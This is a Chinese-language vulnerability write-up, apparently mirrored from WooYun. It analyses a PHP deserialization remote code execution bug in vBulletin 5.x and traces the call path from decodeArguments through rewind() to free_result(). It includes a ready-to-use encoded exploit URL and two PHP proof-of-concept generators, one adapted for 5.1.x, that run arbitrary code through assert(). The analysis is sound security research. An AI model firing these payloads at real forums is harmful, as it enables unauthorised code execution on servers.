unserialize() 實戰之 vBulletin 5.x.x 遠端程式碼執行

wyzsk發表於2020-08-19
作者: RickGray · 2015/11/10 12:04

Author: RickGray (知道創宇404安全實驗室)

近日,vBulletin 的一枚 RCE 利用和簡要的分析被曝光,產生漏洞的原因源於 vBulletin 程式在處理 Ajax API 呼叫的時候,使用 unserialize() 對傳遞的引數值進行了反序列化操作,導致攻擊者使用精心構造出的 Payload 直接導致程式碼執行。關於 PHP 中反序列化漏洞的問題可以參考 OWASP 的《PHP Object Injection》

使用 原文 提供的 Payload 可以直接在受影響的站點上執行 phpinfo(1)

具體 Payload 的構造過程也文中有所提及,但是筆者在對 vBulletin 5.1.x 版本進行測試的時候,發現原本的 Payload 並不能成功,甚是疑惑。然而在深入分析後,發現在具體利用的時候還需要結合 vBulletin 程式本身的一些程式碼結構才能得到一個較為通用的 Payload,透過下面的分析後就能夠明白。

0x00 反序列化觸發點跟蹤


雖然此次漏洞 unserialize() 函式的觸發在曝光的文章中已經描述的很清楚了,並且對整個關鍵程式碼的觸發流程也進行了說明,但是在深入跟蹤和分析時,覺得還是有值得注意和學習的地方。

http://172.16.96.130/ajax/api/hook/decodeArguments?arguments=O%3A12%3A%22vB_dB_Result%22%3A2%3A%7Bs%3A5%3A%22%00%2a%00db%22%3BO%3A11%3A%22vB_Database%22%3A1%3A%7Bs%3A9%3A%22functions%22%3Ba%3A1%3A%7Bs%3A11%3A%22free_result%22%3Bs%3A7%3A%22phpinfo%22%3B%7D%7Ds%3A12%3A%22%00%2a%00recordset%22%3Bi%3A1%3B%7D

透過觀察服務端在處理PHP時的呼叫棧,可知服務端在處理上述請求時,會將 ajax/api/hook/decodeArguments 作為路由引數 $_REQUEST['routestring'] 傳遞給地址路由處理過程。因其符合 ajax/api/[controller]/[method] 的 Ajax API 請求路由格式,會再呼叫 vB5_Frontend_ApplicationLight 例項中的 handleAjaxApi() 函式來進行相應的模組載入並呼叫處理函式:

#!php
protected function handleAjaxApi()
{
    $routeInfo = explode('/', $_REQUEST['routestring']);    

    if (count($routeInfo) < 4)
    {
        throw new vB5_Exception_Api('ajax', 'api', array(), 'invalid_request');
    }
    $params = array_merge($_POST, $_GET);
    $this->sendAsJson(Api_InterfaceAbstract::instance(Api_InterfaceAbstract::API_LIGHT)->callApi($routeInfo[2], $routeInfo[3], $params, true));
}

請求的 ajax/api/hook/decodeArguments 會例項化 hook 類然後呼叫 decodeArguments() 函式,原文中所提及的觸發點就在此處:

#!php
public function decodeArguments($arguments)
{
    if ($args = @unserialize($arguments))
    {
        $result = '';

        foreach ($args AS $varname => $value)
        {
            $result .= $varname;

透過反序列化,我們可以使之能生成在執行環境上下文中已經定義好了的類例項,並透過尋找一個含有 __wakeup() 或者 __destruct() 魔術方法存在問題的類來進行利用。然後原文中所提到的利用方法並不是這樣,其使用的是繼承於 PHP 迭代器型別的 vB_dB_Result 類,由於 $args = @unserialize($arguments) 產生了一個迭代器 vB_dB_Result 類例項,因此在後面進行 foreach 操作時會首先呼叫其 rewind() 函式。

而在 rewind() 函式處理過程中,會根據例項變數狀態進行呼叫:

#!php
public function rewind()
{
    if ($this->recordset)
    {
        $this->db->free_result($this->recordset);
    }

這裡就可以透過反序列化來控制 $this->recordset 的值,並且 $this->db->free_result 最終會呼叫:

#!php
function free_result($queryresult)
{
    $this->sql = '';
    return @$this->functions['free_result']($queryresult);
}

$this->functions['free_result'] 原本的初始化值為 mysql_free_result,但是由於反序列化的原因,我們也能控制 vB_dB_Result 類例項中的 db 成員,更改其對應的 functions['free_result'] 為我們想要執行的函式,因此一個任意程式碼執行就產生了。

0x01 利用分析和完善


觀察一下原文中提供的 Payload 構造 PoC:

#!php
<?php
class vB_Database {
       public $functions = array();
       public function __construct() {
               $this->functions['free_result'] = 'phpinfo';
       }
}    

class vB_dB_Result {
       protected $db;
       protected $recordset;
       public function __construct() {
               $this->db = new vB_Database();
               $this->recordset = 1;
       }
}    

print urlencode(serialize(new vB_dB_Result())) . "\n";

透過第一部分的分析,我們已經清楚了整個漏洞的函式呼叫過程和原因,並且也已經得知哪些引數可以得到控制和利用。因此這裡我們修改 $this->functions['free_result'] = 'assert';$this->recordset = 'var_dump(md5(1))';,最終遠端程式碼執行的的函式則會是 assert('var_dump(md5(1))')

這個時候其實 RCE 已經非常的順利了,但是在進行測試的時候卻發現了原文所提供的 PoC 只能復現 5.0.x 版本的 vBulletin,而 5.1.x 版本的卻不可以。透過本地搭建測試環境,並使用同樣的 PoC 去測試,發現在 5.1.x 版本中 vB_Database 被定義成了抽象類:

#!php
abstract class vB_Database
{
    /**
     * The type of result set to return from the database for a specific row.
     */

抽象類是不能直接進行例項化的,原文提供的 PoC 卻是例項化的 vB_Database 類作為 vB_dB_Result 迭代器成員 db 的值,在服務端進行反序列化時會因為需要恢復例項為抽象類而導致失敗:

這就是為什麼在 5.1.x 版本上 PoC 會不成功的原因。然後要解決這個問題也很容易,透過跟蹤呼叫棧,發現程式在反序列化未定義類時會呼叫程式註冊的 autoload() 方法去動態載入類檔案。這裡 vBulletin 會依次呼叫 includes/vb5/autoloader.php 中的 _autoload 方法和 core/vb/vb.php 中的 autoload() 方法,成功載入即返回,失敗則反序列化失敗。所以要想繼續使用原有 PoC 的思路來讓反序列化後會執行 $this->db->free_result($this->recordset); 則需要找到一個繼承於 vB_Database 抽象類的子類並且其原始碼檔案路徑能夠在 autoload 過程中得到載入。

透過搜尋,發現有如下類繼承於 vB_Database 抽象類及其原始碼對應的路徑:

而終程式碼進行進行 autoload 的時候會解析傳遞的類名來動態構造嘗試載入的原始碼檔案路徑:

#!php
...省略
    $fname = str_replace('_', '/', strtolower($class)) . '.php';    

    foreach (self::$_paths AS $path)
    {
        if (file_exists($path . $fname))
        {
            include($path . $fname);
            if (class_exists($class, false))
            {
                return true;
            }

上面這段程式碼存在於第一次呼叫的 __autoload() 裡,可以看到對提供的類名以 _ 進行了拆分,動態構造了載入路徑(第二次 autoload() 的過程大致相同),簡單分析一下就可以發現只有在反序列化 vB_Database_MySQLvB_Database_MySQLi 這兩個基於 vB_Database 抽象類的子類時,才能成功的動態載入其類定義所在的原始碼檔案使得反序列化成功執行,最終才能控制引數進行任意程式碼執行。

所以,針對 5.1.x 版本 vBulletin 的 PoC 就可以得到了,使用 vB_Database_MySQL 或者 vB_Database_MySQLi 作為迭代器 vB_dB_Result 成員 db 的值即可。具體 PoC 如下:

#!php
<?php
class vB_Database_MySQL {
       public $functions = array();
       public function __construct() {
               $this->functions['free_result'] = 'assert';
       }
}    

class vB_dB_Result {
       protected $db;
       protected $recordset;
       public function __construct() {
               $this->db = new vB_Database_MySQL();
               $this->recordset = 'print("This Vuln In 5.1.7")';
       }
}    

print urlencode(serialize(new vB_dB_Result())) . "\n";

測試一下,成功執行 assert('print("This Vuln In 5.1.7")')

當然了,PoC 不止上面所提供的這一種寫法,僅供參考而已。

0x02 小結


此次 vBulletin 5.x.x RCE 漏洞的曝光,從尋找觸發點到物件的尋找,再到各種自動載入細節,不得不說是一個很好的 PHP 反序列化漏洞實戰例項。不仔細去分析真的不能發現原作者清晰的思路和對程式的熟悉程度。

另外,Check Point 在其官方部落格上也公佈了反序列化的另一個利用點,透過反序列化出一個模版物件最終呼叫 eval() 函式進行執行(原文)。

0x03 參考


原文出處:http://blog.knownsec.com/2015/11/unserialize-exploit-with-vbulletin-5-x-x-remote-code-execution/

本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!

相關文章